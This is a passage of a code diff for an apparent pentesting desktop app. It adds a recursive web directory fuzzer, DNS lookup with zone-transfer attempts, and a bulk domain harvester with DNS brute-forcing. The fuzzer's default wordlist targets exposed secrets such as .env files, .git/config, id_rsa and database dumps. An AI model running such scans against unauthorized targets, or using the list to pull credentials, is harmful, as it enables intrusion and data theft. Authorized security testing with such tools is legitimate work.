+ let base = req.base_url.trim_end_matches('/').to_string(); + let client = Arc::new(build_client(&req)); + let accept: Vec = req.accept_status.clone().unwrap_or_else(default_statuses); + let accept_set: std::collections::HashSet = accept.iter().copied().collect(); + + // ---- baseline calibration: fetch a random non-existent path to detect wildcard 200s ---- + let wildcard_marker = format!("__xploit_wildcard_{}_{}", rand::random::(), rand::random::()); + let wildcard_url = format!("{}/{}", base, wildcard_marker); + let wildcard_size: Option = probe(&client, &wildcard_url, &req.headers).await + .filter(|h| accept_set.contains(&h.status)) + .map(|h| h.size); + if let Some(sz) = wildcard_size { + let _ = app.emit("dirfuzz:status", + format!("wildcard calibration: {} returned status (size={}) — same-size responses will be filtered", wildcard_url, sz)); + } + + // ---- build initial path list ---- + let mut initial_paths: Vec = Vec::new(); + for w in &req.wordlist { + for p in expand_paths(w, &req.extensions) { + initial_paths.push(p); + } + } + + let queue: Arc>> = Arc::new(Mutex::new(vec![(base.clone(), 0)])); + let all_hits: Arc>> = Arc::new(Mutex::new(Vec::new())); + let total_done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + + loop { + let (current_base, depth) = { + let mut q = queue.lock().await; + if q.is_empty() { break; } + q.remove(0) + }; + + let urls: Vec = initial_paths.iter() + .map(|p| format!("{}/{}", current_base.trim_end_matches('/'), p)) + .collect(); + let total = urls.len(); + + let _ = app.emit("dirfuzz:status", + format!("fuzzing {} (depth {}): {} paths", current_base, depth, total)); + + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let local_hits: Arc>> = Arc::new(Mutex::new(Vec::new())); + + stream::iter(urls.into_iter()) + .map(|url| { + let client = client.clone(); + let sem = sem.clone(); + let headers = req.headers.clone(); + let accept_set = accept_set.clone(); + let size_min = req.size_min; + let size_max = req.size_max; + let wildcard_size = wildcard_size; + let total_done = total_done.clone(); + let local_hits = local_hits.clone(); + let all_hits_c = all_hits.clone(); + let app = app.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + if let Some(hit) = probe(&client, &url, &headers).await { + let n = total_done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("dirfuzz:progress", + serde_json::json!({"done": n, "total_seen": total_done.load(std::sync::atomic::Ordering::Relaxed)})); + + if !accept_set.contains(&hit.status) { return; } + if let Some(min) = size_min { if hit.size < min { return; } } + if let Some(max) = size_max { if hit.size > max { return; } } + if let Some(wsz) = wildcard_size { if hit.size == wsz { return; } } + + let _ = app.emit("dirfuzz:hit", hit.clone()); + local_hits.lock().await.push(hit.clone()); + all_hits_c.lock().await.push(hit); + } else { + total_done.fetch_add(1, std::sync::atomic::Ordering::Relaxed); + } + } + }) + .buffer_unordered(req.concurrency.max(1)) + .for_each(|_| async {}) + .await; + + // recursion: enqueue hits that look like directories + if req.recursive && depth < req.recursion_depth { + let hits = local_hits.lock().await; + for h in hits.iter() { + let looks_like_dir = h.status == 301 || h.status == 302 + || h.url.ends_with('/') + || h.redirect.as_deref().map(|r| r.ends_with('/')).unwrap_or(false); + if looks_like_dir { + let mut q = queue.lock().await; + q.push((h.url.trim_end_matches('/').to_string(), depth + 1)); + } + } + } + } + + let hits = all_hits.lock().await.clone(); + let _ = app.emit("dirfuzz:done", hits.len()); + Ok(hits) +} + +#[tauri::command] +pub fn dirfuzz_common_wordlist() -> Vec { + // compact default wordlist — 150 of the highest-signal paths + vec![ + "admin", "administrator", "login", "signin", "signup", "register", + "dashboard", "api", "api/v1", "api/v2", "api/v3", "graphql", + "robots.txt", "sitemap.xml", "crossdomain.xml", "clientaccesspolicy.xml", + ".git/config", ".git/HEAD", ".git/logs/HEAD", ".svn/entries", ".hg/hgrc", + ".env", ".env.local", ".env.production", ".env.backup", + "config", "config.php", "config.json", "config.yml", "config.xml", + "backup", "backup.zip", "backup.tar.gz", "backup.sql", "backup.bak", + "db.sql", "dump.sql", "database.sql", "site.sql", + "test", "test.php", "test.html", "phpinfo.php", "info.php", + "server-status", "server-info", "status", + "wp-admin", "wp-login.php", "wp-content", "wp-includes", "wp-config.php", + "administrator/index.php", "user/login", "users/sign_in", + "phpmyadmin", "myadmin", "mysql", "dbadmin", "adminer", "adminer.php", + ".htaccess", ".htpasswd", ".DS_Store", "thumbs.db", + "uploads", "upload", "files", "file", "download", "downloads", + "images", "img", "assets", "static", "public", "private", + "docs", "doc", "documentation", "swagger", "swagger.json", + "swagger-ui.html", "api-docs", "openapi.json", "openapi.yaml", + "console", "actuator", "actuator/health", "actuator/env", "actuator/info", + "metrics", "prometheus", "health", "healthcheck", "readiness", "liveness", + "debug", "trace", "error", "errors", "log", "logs", "error_log", + "jenkins", "phpunit", "webdav", "manager/html", "tomcat", + "portal", "support", "help", "about", "contact", "feedback", + "mail", "email", "webmail", "smtp", "imap", + "vpn", "sso", "auth", "oauth", "oauth2", "openid", + ".well-known/security.txt", ".well-known/openid-configuration", + ".well-known/acme-challenge", ".well-known/nodeinfo", + "index.php", "index.html", "index.asp", "index.aspx", "index.jsp", + "home", "main", "default", + "secret", "private.key", "id_rsa", "id_dsa", + "setup", "install", "installer", "setup.php", + "cgi-bin", "cgi-bin/test.sh", "cgi-bin/info.sh", + "dev", "development", "staging", "stage", "beta", "qa", "uat", + "old", "new", "tmp", "temp", "cache", + "api/users", "api/user", "api/me", "api/login", "api/admin", + "admin/login", "admin/config", "admin/users", + "fckeditor", "ckeditor", "tinymce", "editor", + "vendor", "node_modules", "composer.json", "composer.lock", + "package.json", "yarn.lock", "webpack.config.js", + "wp-json", "wp-json/wp/v2", "wp-json/wp/v2/users", + ].into_iter().map(String::from).collect() +} diff --git a/src-tauri/src/modules/dns_tools.rs b/src-tauri/src/modules/dns_tools.rs new file mode 100644 index 0000000..3853fc0 --- /dev/null +++ b/src-tauri/src/modules/dns_tools.rs @@ -0,0 +1,263 @@ +// =================================================================== +// DNS Tools — comprehensive record lookup + zone transfer + DNSSEC +// =================================================================== + +use std::net::SocketAddr; +use std::time::Duration; + +use hickory_resolver::config::{NameServerConfig, Protocol, ResolverConfig, ResolverOpts}; +use hickory_resolver::proto::rr::RecordType; +use hickory_resolver::TokioAsyncResolver; +use serde::{Deserialize, Serialize}; +use tokio::net::TcpStream; +use tokio::time::timeout; + +#[derive(Debug, Clone, Deserialize)] +pub struct DnsRequest { + pub domain: String, + #[serde(default)] + pub resolver: Option, // e.g. "1.1.1.1:53", "8.8.8.8:53", "internal-dns.corp:53" + #[serde(default)] + pub types: Option>, // subset to query, None = all + #[serde(default)] + pub try_axfr: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct DnsReport { + pub domain: String, + pub records: Vec, + pub axfr: Option, + pub dnssec: DnssecCheck, + pub errors: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct DnsRecordGroup { + pub rtype: String, + pub values: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct AxfrResult { + pub success: bool, + pub nameserver: String, + pub records_dumped: Vec, + pub error: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct DnssecCheck { + pub dnskey_count: usize, + pub has_dnssec: bool, +} + +fn build_resolver(custom: Option<&str>) -> Result { + let mut opts = ResolverOpts::default(); + opts.timeout = Duration::from_secs(4); + opts.attempts = 2; + + if let Some(addr) = custom { + let sa: SocketAddr = if addr.contains(':') { + addr.parse().map_err(|e| format!("bad resolver addr: {e}"))? + } else { + format!("{addr}:53").parse().map_err(|e| format!("bad resolver addr: {e}"))? + }; + let mut cfg = ResolverConfig::new(); + cfg.add_name_server(NameServerConfig { + socket_addr: sa, + protocol: Protocol::Udp, + tls_dns_name: None, + trust_negative_responses: false, + bind_addr: None, + }); + Ok(TokioAsyncResolver::tokio(cfg, opts)) + } else { + Ok(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts)) + } +} + +fn all_types() -> Vec<(&'static str, RecordType)> { + vec![ + ("A", RecordType::A), + ("AAAA", RecordType::AAAA), + ("MX", RecordType::MX), + ("NS", RecordType::NS), + ("CNAME", RecordType::CNAME), + ("TXT", RecordType::TXT), + ("SOA", RecordType::SOA), + ("CAA", RecordType::CAA), + ("SRV", RecordType::SRV), + ("PTR", RecordType::PTR), + ] +} + +async fn try_axfr(domain: &str, nameserver: &str) -> AxfrResult { + // Best-effort AXFR via raw TCP to port 53. + // Build a minimal DNS AXFR query (type 252) and read packets. + // Most public servers will refuse (REFUSED rcode) — this is mostly a + // "is this server misconfigured" check. + let addr: SocketAddr = match format!("{nameserver}:53").parse() { + Ok(a) => a, + Err(e) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) }, + }; + + let stream_res = timeout(Duration::from_secs(5), TcpStream::connect(addr)).await; + let mut stream = match stream_res { + Ok(Ok(s)) => s, + Ok(Err(e)) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) }, + Err(_) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some("connect timeout".into()) }, + }; + + let mut query: Vec = Vec::new(); + // DNS header (12 bytes): tx=0, flags=0x0100 (RD), questions=1 + query.extend_from_slice(&[0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]); + // QNAME + for label in domain.trim_end_matches('.').split('.') { + let bytes = label.as_bytes(); + query.push(bytes.len() as u8); + query.extend_from_slice(bytes); + } + query.push(0); + // QTYPE=252 AXFR, QCLASS=IN + query.extend_from_slice(&[0, 252, 0, 1]); + + // TCP DNS prepends 2-byte length + let mut framed = Vec::with_capacity(query.len() + 2); + let len = query.len() as u16; + framed.extend_from_slice(&len.to_be_bytes()); + framed.extend_from_slice(&query); + + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + if let Err(e) = stream.write_all(&framed).await { + return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) }; + } + let _ = stream.flush().await; + + // Read up to 32KB of responses, parse roughly — just count record names. + let mut out: Vec = Vec::new(); + let mut total = 0usize; + loop { + let mut len_buf = [0u8; 2]; + let r = timeout(Duration::from_secs(4), stream.read_exact(&mut len_buf)).await; + match r { + Ok(Ok(_)) => {} + _ => break, + } + let rlen = u16::from_be_bytes(len_buf) as usize; + if rlen == 0 || rlen > 65535 { break; } + let mut buf = vec![0u8; rlen]; + if timeout(Duration::from_secs(4), stream.read_exact(&mut buf)).await.is_err() { break; } + total += buf.len(); + // check RCODE in response flags + if buf.len() >= 4 { + let rcode = buf[3] & 0x0F; + if rcode != 0 { + return AxfrResult { + success: false, + nameserver: nameserver.into(), + records_dumped: vec![], + error: Some(format!("RCODE {rcode} (refused/notauth/other)")), + }; + } + } + // naive: parse names from answer section (skip header + question) + if let Some(names) = extract_names(&buf) { + for n in names { + if !out.contains(&n) { out.push(n); } + } + } + if total > 65536 { break; } + } + + AxfrResult { + success: !out.is_empty(), + nameserver: nameserver.into(), + records_dumped: out, + error: None, + } +} + +// Best-effort name extractor — walks bytes looking for printable labels. +fn extract_names(packet: &[u8]) -> Option> { + if packet.len() < 12 { return None; } + let mut out: Vec = Vec::new(); + let mut i = 12; // skip header + let mut seen = std::collections::HashSet::new(); + while i < packet.len() { + let len = packet[i] as usize; + if len == 0 { i += 1; continue; } + if len & 0xC0 == 0xC0 { i += 2; continue; } + if i + 1 + len > packet.len() { break; } + if len < 64 { + let bytes = &packet[i + 1..i + 1 + len]; + if bytes.iter().all(|b| b.is_ascii_graphic()) { + let s = String::from_utf8_lossy(bytes).to_string(); + if !seen.contains(&s) && s.len() > 1 { + seen.insert(s.clone()); + out.push(s); + } + } + } + i += 1 + len; + } + Some(out) +} + +#[tauri::command] +pub async fn dns_query(req: DnsRequest) -> Result { + let resolver = build_resolver(req.resolver.as_deref())?; + let wanted: Vec<(&'static str, RecordType)> = match &req.types { + Some(v) if !v.is_empty() => all_types().into_iter().filter(|(n, _)| v.iter().any(|x| x.eq_ignore_ascii_case(n))).collect(), + _ => all_types(), + }; + + let mut records: Vec = Vec::new(); + let mut errors: Vec = Vec::new(); + let mut nameservers: Vec = Vec::new(); + + for (name, rt) in wanted { + let result = resolver.lookup(req.domain.as_str(), rt).await; + match result { + Ok(lookup) => { + let values: Vec = lookup.iter().map(|r| r.to_string()).collect(); + if !values.is_empty() { + if name == "NS" { + for v in &values { nameservers.push(v.trim_end_matches('.').to_string()); } + } + records.push(DnsRecordGroup { rtype: name.to_string(), values }); + } + } + Err(e) => { + let msg = format!("{name}: {e}"); + // "no records found" is noise — only log if not NoRecordsFound + if !msg.to_lowercase().contains("no record") { + errors.push(msg); + } + } + } + } + + // DNSSEC check — presence of DNSKEY + let dnssec = match resolver.lookup(req.domain.as_str(), RecordType::DNSKEY).await { + Ok(lookup) => { + let count = lookup.iter().count(); + DnssecCheck { dnskey_count: count, has_dnssec: count > 0 } + } + Err(_) => DnssecCheck { dnskey_count: 0, has_dnssec: false }, + }; + + // AXFR attempt + let axfr = if req.try_axfr { + let ns = nameservers.first().cloned().unwrap_or_default(); + if ns.is_empty() { + Some(AxfrResult { success: false, nameserver: String::new(), records_dumped: vec![], error: Some("no NS records to attempt AXFR".into()) }) + } else { + Some(try_axfr(&req.domain, &ns).await) + } + } else { + None + }; + + Ok(DnsReport { domain: req.domain, records, axfr, dnssec, errors }) +} diff --git a/src-tauri/src/modules/domain_grabber.rs b/src-tauri/src/modules/domain_grabber.rs new file mode 100644 index 0000000..4a0cade --- /dev/null +++ b/src-tauri/src/modules/domain_grabber.rs @@ -0,0 +1,576 @@ +// =================================================================== +// Domain Grabber — mass-harvest real domains by TLD extension. +// +// Sources (researched for reliability, free, no API key): +// - crt.sh — cert transparency (needs keyword for bulk) +// - commoncrawl — CDX index over billions of crawled URLs +// - rapiddns — 3B+ DNS records, HTML-scrape endpoint +// - hackertarget — 50/day/IP hostsearch +// - certspotter — CT issuances (keyword required) +// - wordlist-id — 4k Indonesian common words + DNS resolve (bundled) +// - wordlist-id-full — 18k KBBI dictionary + DNS resolve (bundled) +// +// IANA catalog integration: fetch iana.org/domains/root/db → 1500+ TLDs. +// =================================================================== + +use std::collections::HashSet; +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use hickory_resolver::config::{ResolverConfig, ResolverOpts}; +use hickory_resolver::TokioAsyncResolver; +use once_cell::sync::Lazy; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +// ------------------------------------------------------------------ +// Bundled Indonesian wordlists (embedded at compile time) +// ------------------------------------------------------------------ + +const WORDLIST_ID_KOMPAS: &str = include_str!("../../wordlists/id-kompas.lst"); +const WORDLIST_ID_KBBI: &str = include_str!("../../wordlists/id-kbbi.lst"); +const WORDLIST_EN_COMMON: &str = include_str!("../../wordlists/en-common.lst"); +const WORDLIST_SUBS: &str = include_str!("../../wordlists/subs-top5k.lst"); + +fn parse_wordlist(raw: &str) -> Vec { + raw.lines() + .map(|l| l.trim().to_lowercase()) + .filter(|l| !l.is_empty() && !l.starts_with('#')) + // only DNS-valid labels: a-z 0-9 - (no spaces, no unicode) + .filter(|l| l.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')) + .filter(|l| !l.starts_with('-') && !l.ends_with('-') && l.len() >= 2 && l.len() <= 63) + .collect() +} + +static WL_KOMPAS: Lazy> = Lazy::new(|| parse_wordlist(WORDLIST_ID_KOMPAS)); +static WL_KBBI: Lazy> = Lazy::new(|| parse_wordlist(WORDLIST_ID_KBBI)); +static WL_EN_COMMON: Lazy> = Lazy::new(|| parse_wordlist(WORDLIST_EN_COMMON)); +static WL_SUBS: Lazy> = Lazy::new(|| parse_wordlist(WORDLIST_SUBS)); + +#[tauri::command] +pub fn wordlist_info() -> serde_json::Value { + serde_json::json!({ + "id-kompas": { "name": "Indonesian common (Kompas corpus)", "count": WL_KOMPAS.len() }, + "id-kbbi": { "name": "Indonesian KBBI dictionary", "count": WL_KBBI.len() }, + "en-common": { "name": "English common words", "count": WL_EN_COMMON.len() }, + "subs-top5k": { "name": "Top 5k subdomain prefixes", "count": WL_SUBS.len() }, + }) +} + +// ------------------------------------------------------------------ +// IANA TLD list +// ------------------------------------------------------------------ + +#[derive(Debug, Clone, Serialize)] +pub struct IanaTld { + pub tld: String, // e.g. ".com" + pub kind: String, // generic / country-code / sponsored / generic-restricted / infrastructure + pub sponsor: String, // registry manager +} + +#[tauri::command] +pub async fn iana_tld_list() -> Result, String> { + let client = reqwest::Client::builder() + .timeout(Duration::from_secs(25)) + .user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)") + .build() + .map_err(|e| e.to_string())?; + + let html = client + .get("https://www.iana.org/domains/root/db") + .send().await.map_err(|e| e.to_string())? + .error_for_status().map_err(|e| e.to_string())? + .text().await.map_err(|e| e.to_string())?; + + let row_re = Regex::new(r"(?s)(.*?)").unwrap(); + let td_re = Regex::new(r"(?s)]*>(.*?)").unwrap(); + let tag_re = Regex::new(r"<[^>]+>").unwrap(); + let ws_re = Regex::new(r"\s+").unwrap(); + + let mut out: Vec = Vec::new(); + for row in row_re.captures_iter(&html) { + let row_html = &row[1]; + let cells: Vec = td_re.captures_iter(row_html) + .map(|c| { + let plain = tag_re.replace_all(&c[1], ""); + ws_re.replace_all(plain.trim(), " ").to_string() + }) + .collect(); + if cells.len() != 3 { continue; } + let tld_raw = cells[0].trim().to_string(); + // skip header rows, empties, and non-TLD entries + if !tld_raw.starts_with('.') || tld_raw.len() < 2 { continue; } + out.push(IanaTld { + tld: tld_raw.to_lowercase(), + kind: cells[1].clone(), + sponsor: cells[2].clone(), + }); + } + + out.sort_by(|a, b| a.tld.cmp(&b.tld)); + Ok(out) +} + +// ------------------------------------------------------------------ +// Domain grabbing +// ------------------------------------------------------------------ + +#[derive(Debug, Clone, Deserialize)] +pub struct GrabRequest { + pub tld: String, // ".id" / "id" / "co.id" / "gov.uk" + #[serde(default)] + pub keyword: Option, // optional narrowing string + #[serde(default = "default_sources")] + pub sources: Vec, // "crtsh" "urlscan" "wayback" + #[serde(default = "default_max")] + pub max_per_source: usize, + #[serde(default = "default_true")] + pub apex_only: bool, + #[serde(default = "default_timeout")] + pub timeout_ms: u64, + #[serde(default = "default_wl_conc")] + pub wordlist_concurrency: usize, +} + +fn default_wl_conc() -> usize { 80 } + +fn default_sources() -> Vec { vec!["crtsh".into(), "rapiddns".into(), "hackertarget".into()] } +fn default_max() -> usize { 1000 } +fn default_true() -> bool { true } +fn default_timeout() -> u64 { 30_000 } + +#[derive(Debug, Clone, Serialize)] +pub struct GrabHit { + pub domain: String, + pub source: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct SourceStat { + pub source: String, + pub count: usize, + pub error: Option, + pub took_ms: u128, +} + +// Known multi-label public suffixes by TLD — minimal curated list. +// For proper support you'd use the full PSL; this handles common cases. +static MULTI_SUFFIXES: Lazy> = Lazy::new(|| vec![ + // Indonesia + "co.id", "ac.id", "go.id", "or.id", "mil.id", "sch.id", "net.id", "web.id", "ponpes.id", "my.id", "biz.id", "desa.id", + // UK + "co.uk", "org.uk", "ac.uk", "gov.uk", "net.uk", "ltd.uk", "plc.uk", + // Japan + "co.jp", "ac.jp", "ne.jp", "or.jp", "go.jp", "ed.jp", "lg.jp", + // Australia + "com.au", "net.au", "org.au", "edu.au", "gov.au", + // Generic + "com.br", "com.mx", "com.ar", "com.tr", "com.sg", "com.my", "com.ph", "com.vn", "com.hk", "com.tw", + "edu.my", "gov.my", "gov.sg", +]); + +fn normalize_tld(t: &str) -> String { + t.trim().trim_start_matches('.').to_lowercase() +} + +fn apex_of(host: &str, tld: &str) -> String { + let h = host.trim_end_matches('.').to_lowercase(); + let tld = tld.trim_start_matches('.'); + if !h.ends_with(&format!(".{}", tld)) && h != tld { return h; } + + // Check multi-label suffix: if TLD itself includes a dot (e.g. co.id input) use as-is. + let parts: Vec<&str> = h.split('.').collect(); + // find effective suffix + let mut eff_labels: usize = tld.split('.').count(); + for suf in MULTI_SUFFIXES.iter() { + if h.ends_with(&format!(".{}", suf)) || h == *suf { + eff_labels = suf.split('.').count(); + break; + } + } + // apex = last (eff_labels + 1) labels + let total = parts.len(); + let take = (eff_labels + 1).min(total); + parts[total - take..].join(".") +} + +fn host_from_url(u: &str) -> Option { + url::Url::parse(u).ok().and_then(|p| p.host_str().map(|s| s.to_lowercase())) +} + +fn clean_host(s: &str, tld: &str) -> Option { + let h = s.trim().trim_start_matches("*.").trim_start_matches('.').to_lowercase(); + let h = h.split_whitespace().next()?.to_string(); + if h.is_empty() { return None; } + if h.contains('@') || h.contains(' ') || h.contains('/') { return None; } + if !h.ends_with(&format!(".{}", tld)) && h != tld { return None; } + Some(h) +} + +const BROWSER_UA: &str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"; + +async fn fetch_with_retry( + client: &reqwest::Client, + url: &str, + extra_headers: &[(&str, &str)], + attempts: u32, +) -> anyhow::Result { + let mut last_err: Option = None; + for attempt in 1..=attempts { + let mut req = client.get(url) + .header("User-Agent", BROWSER_UA) + .header("Accept", "application/json, text/plain, */*") + .header("Accept-Language", "en-US,en;q=0.9") + .header("Accept-Encoding", "gzip, deflate"); + for (k, v) in extra_headers { req = req.header(*k, *v); } + match req.send().await { + Ok(resp) => { + let status = resp.status(); + let body = resp.text().await.unwrap_or_default(); + if status.is_success() { return Ok(body); } + let snippet: String = body.chars().take(160).collect(); + last_err = Some(format!("HTTP {status} — {}", snippet)); + if status.as_u16() == 429 || status.is_server_error() { + tokio::time::sleep(Duration::from_millis(1000 * attempt as u64)).await; + continue; + } else { + break; // 4xx other than 429 — no point retrying + } + } + Err(e) => { + last_err = Some(e.to_string()); + tokio::time::sleep(Duration::from_millis(500 * attempt as u64)).await; + } + } + } + Err(anyhow::anyhow!(last_err.unwrap_or_else(|| "unknown".into()))) +} + +// ---- source: crt.sh ---- +async fn src_crtsh( + client: &reqwest::Client, tld: &str, keyword: Option<&str>, +) -> anyhow::Result> { + // crt.sh uses SQL LIKE patterns. `%` must be URL-encoded as %25. + let q = match keyword { + Some(k) if !k.is_empty() => format!("%25{}%25.{}", k, tld), + _ => format!("%25.{}", tld), + }; + let url = format!("https://crt.sh/?q={}&output=json", q); + let body = fetch_with_retry(client, &url, &[("Referer", "https://crt.sh/")], 3).await?; + if body.trim().is_empty() { + anyhow::bail!("empty body (query too broad or server busy — try with a keyword)"); + } + let val: serde_json::Value = serde_json::from_str(&body) + .map_err(|e| anyhow::anyhow!("json: {e} — got HTML maybe (body snippet: {})", body.chars().take(80).collect::()))?; + let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]); + let mut out: Vec = Vec::new(); + for r in arr { + if let Some(nv) = r.get("name_value").and_then(|v| v.as_str()) { + for line in nv.split('\n') { + if let Some(h) = clean_host(line, tld) { out.push(h); } + } + } + } + Ok(out) +} + +// ---- source: Common Crawl CDX (billions of crawled URLs) ---- +async fn src_commoncrawl( + client: &reqwest::Client, tld: &str, keyword: Option<&str>, max: usize, +) -> anyhow::Result> { + // 1. Fetch latest collection ID + let info_body = fetch_with_retry(client, "https://index.commoncrawl.org/collinfo.json", &[], 2).await?; + let info: serde_json::Value = serde_json::from_str(&info_body) + .map_err(|e| anyhow::anyhow!("collinfo json: {e}"))?; + let collection_id = info.as_array() + .and_then(|a| a.first()) + .and_then(|c| c.get("id")) + .and_then(|v| v.as_str()) + .ok_or_else(|| anyhow::anyhow!("no CC collection found"))?; + + // 2. Query CDX index for URLs matching *.{tld} + let url_pat = match keyword { + Some(k) if !k.is_empty() => format!("*{k}*.{tld}"), + _ => format!("*.{tld}"), + }; + let lim = max.min(5_000).to_string(); + let cdx_url = format!("https://index.commoncrawl.org/{}-index", collection_id); + let url_obj = reqwest::Url::parse_with_params( + &cdx_url, + &[ + ("url", url_pat.as_str()), + ("output", "json"), + ("fl", "url"), + ("limit", lim.as_str()), + ], + ).map_err(|e| anyhow::anyhow!("url build: {e}"))?; + let body = fetch_with_retry(client, url_obj.as_str(), &[], 2).await?; + if body.trim().is_empty() { return Ok(vec![]); } + + // NDJSON response (one JSON obj per line) + let mut out = Vec::new(); + for line in body.lines() { + if line.trim().is_empty() { continue; } + if let Ok(val) = serde_json::from_str::(line) { + if let Some(u) = val.get("url").and_then(|v| v.as_str()) { + if let Some(h) = host_from_url(u) { + if let Some(cleaned) = clean_host(&h, tld) { out.push(cleaned); } + } + } + } + } + Ok(out) +} + +// ---- source: rapiddns.io (3B+ DNS records, HTML scrape) ---- +async fn src_rapiddns( + client: &reqwest::Client, tld: &str, keyword: Option<&str>, +) -> anyhow::Result> { + // rapiddns supports: /subdomain/DOMAIN (needs full domain) or /s/KEYWORD?full=1 + let url = match keyword { + Some(k) if !k.is_empty() => { + // keyword-based search returns domains matching a substring + format!("https://rapiddns.io/s/{}.{}?full=1", k, tld) + } + _ => format!("https://rapiddns.io/s/{}?full=1", tld), + }; + let html = fetch_with_retry(client, &url, &[ + ("Referer", "https://rapiddns.io/"), + ], 2).await?; + + // parse HTML table rows: domain.tld + let re = Regex::new(r#"]*>([a-zA-Z0-9_.\-]+\.[a-zA-Z]{2,})"#)?; + let mut out = Vec::new(); + for cap in re.captures_iter(&html) { + if let Some(m) = cap.get(1) { + if let Some(h) = clean_host(m.as_str(), tld) { out.push(h); } + } + } + Ok(out) +} + +// ---- source: hackertarget (50 queries/day per IP, no key) ---- +async fn src_hackertarget( + client: &reqwest::Client, tld: &str, keyword: Option<&str>, +) -> anyhow::Result> { + let domain = match keyword { + Some(k) if !k.is_empty() => format!("{k}.{tld}"), + _ => anyhow::bail!("hackertarget needs a keyword (e.g. 'gov' + 'id' → 'gov.id'); TLD-only not supported"), + }; + let url = format!("https://api.hackertarget.com/hostsearch/?q={}", domain); + let body = fetch_with_retry(client, &url, &[], 2).await?; + if body.contains("API count exceeded") || body.contains("error check your search") { + anyhow::bail!("rate limited (50/day/IP exhausted)"); + } + let mut out = Vec::new(); + for line in body.lines() { + if let Some((host, _)) = line.split_once(',') { + if let Some(h) = clean_host(host, tld) { out.push(h); } + } + } + Ok(out) +} + +// ---- source: wordlist DNS brute + HTTP alive check ---- +// +// For each word generates multiple candidate patterns, then two-stage verify: +// 1. DNS resolve (fast-fail if NXDOMAIN) +// 2. HTTP GET https:// or http:// — must respond with status 200-599 +// (treating ANY HTTP response as alive proof, even 4xx/5xx) +// +// Kills false positives from parking pages / wildcard DNS domains that +// resolve but serve nothing. +async fn src_wordlist( + tld: &str, keyword: Option<&str>, words: &[String], concurrency: usize, + app: &AppHandle, source_name: &str, +) -> anyhow::Result> { + // --- stage 0: build unique candidate set --- + let mut cand_set: HashSet = HashSet::new(); + for w in words { + let w = w.trim(); + if w.is_empty() { continue; } + match keyword { + Some(k) if !k.is_empty() => { + cand_set.insert(format!("{w}.{k}.{tld}")); + cand_set.insert(format!("www.{w}.{k}.{tld}")); + cand_set.insert(format!("{w}-{k}.{tld}")); + cand_set.insert(format!("{k}-{w}.{tld}")); + } + _ => { + cand_set.insert(format!("{w}.{tld}")); + cand_set.insert(format!("www.{w}.{tld}")); + } + } + } + let candidates: Vec = cand_set.into_iter().collect(); + let total = candidates.len(); + let _ = app.emit("grab:status", + format!("[{source_name}] {total} patterns to brute (dns + http check)")); + + // --- shared resolver + http client --- + let mut opts = ResolverOpts::default(); + opts.timeout = Duration::from_millis(1500); + opts.attempts = 1; + let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts)); + + let http = Arc::new( + reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(2500)) + .redirect(reqwest::redirect::Policy::none()) + .user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)") + .build() + .map_err(|e| anyhow::anyhow!("http client: {e}"))?, + ); + + let sem = Arc::new(Semaphore::new(concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let src_name = source_name.to_string(); + + let resolved: Vec = stream::iter(candidates.into_iter()) + .map(|host| { + let resolver = resolver.clone(); + let http = http.clone(); + let sem = sem.clone(); + let done = done.clone(); + let app = app.clone(); + let src_name = src_name.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + + // stage 1: DNS — fast fail + let dns_ok = resolver.lookup_ip(host.as_str()).await.is_ok(); + let host_out = if dns_ok { + // stage 2: HTTP alive — try https then http + let mut alive = false; + for scheme in ["https", "http"] { + let url = format!("{scheme}://{host}"); + if let Ok(resp) = http.get(&url).send().await { + let s = resp.status().as_u16(); + if (200..600).contains(&s) { alive = true; break; } + } + } + if alive { Some(host) } else { None } + } else { None }; + + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + if n % 100 == 0 || n == total { + let _ = app.emit("grab:wl-progress", + serde_json::json!({ "source": src_name, "done": n, "total": total })); + } + host_out + } + }) + .buffer_unordered(concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + Ok(resolved) +} + +// ---- source: certspotter (fallback — CT log, very reliable) ---- +async fn src_certspotter( + client: &reqwest::Client, tld: &str, keyword: Option<&str>, +) -> anyhow::Result> { + // certspotter doesn't support TLD wildcard natively, but we can query a + // well-known keyword+TLD (e.g. "gov.id") to pull all matching certs. + let domain = match keyword { + Some(k) if !k.is_empty() => format!("{k}.{tld}"), + _ => anyhow::bail!("certspotter needs a keyword (e.g. gov, bank) — tld-only not supported"), + }; + let url = format!("https://api.certspotter.com/v1/issuances?domain={}&include_subdomains=true&expand=dns_names", domain); + let body = fetch_with_retry(client, &url, &[], 2).await?; + let val: serde_json::Value = serde_json::from_str(&body)?; + let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]); + let mut out = Vec::new(); + for r in arr { + if let Some(names) = 